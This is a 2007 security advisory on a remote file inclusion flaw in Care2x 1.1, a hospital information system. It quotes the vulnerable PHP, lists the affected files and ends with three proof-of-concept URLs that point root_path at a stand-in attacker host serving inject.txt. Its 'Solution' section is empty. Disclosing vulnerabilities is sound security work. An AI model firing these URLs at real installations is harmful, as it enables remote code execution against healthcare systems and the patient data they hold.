Location : Indonesia, Jakarta
web : http://advisories.echo.or.id/adv/adv72-theday-2007.txt
Critical Lvl : Highly critical
Impact : System access
Where : From Remote
---------------------------------------------------------------------------
Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~
Application : CARE2X
version : 1.1
URL : http://www.care2x.org
Care2x integrates data, functions and workflows in a healthcare
environment.
It is currently composed of four major components.
Each of these components can also function individually.
---------------------------------------------------------------------------
Vulnerability:
~~~~~~~~~~~~~
- Invalid include_once function at include/inc_checkdate_lang.php
-----------------------include/inc_checkdate_lang.php------------
<?
if(file_exists($root_path."language/$lang/lang_".$lang."_checkdate.php"))
include_once($root_path."language/$lang/lang_".$lang."_checkdate.php");
else
include_once($root_path."language/en/lang_en_checkdate.php");
if(file_exists($root_path."language/$lang/lang_".$lang."_date_time.php"))
include_once($root_path."language/$lang/lang_".$lang."_date_time.php");
else
include_once($root_path."language/en/lang_en_date_time.php");
?>
----------------------------------------------------------
Input passed to the "$root_path" parameter in
inc_checkdate_lang.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.
also affected files :
include/inc_charset_fx.php
include/inc_config_color.php
include/inc_currency_set.php
include/inc_db_makelink.php
include/inc_diagnostics_report_fx.php
include/inc_environment_global.php
include/inc_front_chain_lang.php
include/inc_init_crypt.php
include/inc_load_copyrite.php
include/inc_news_save.php
main/barcode-labels.php
main/chg-color.php
main/config_options_gui_template.php
main/config_options_mascot.php
main/diagnostics-report-index.php
and More ....

http://localhost/care2x/include/inc_news_save.php?root_path=http://atacker.com/inject.txt?
http://localhost/care2x/main/diagnostics-report-index.php?root_path=http://atacker.com/inject.txt?
http://localhost/care2x/main/config_options_mascot.php?root_path=http://atacker.com/inject.txt?
Solution:
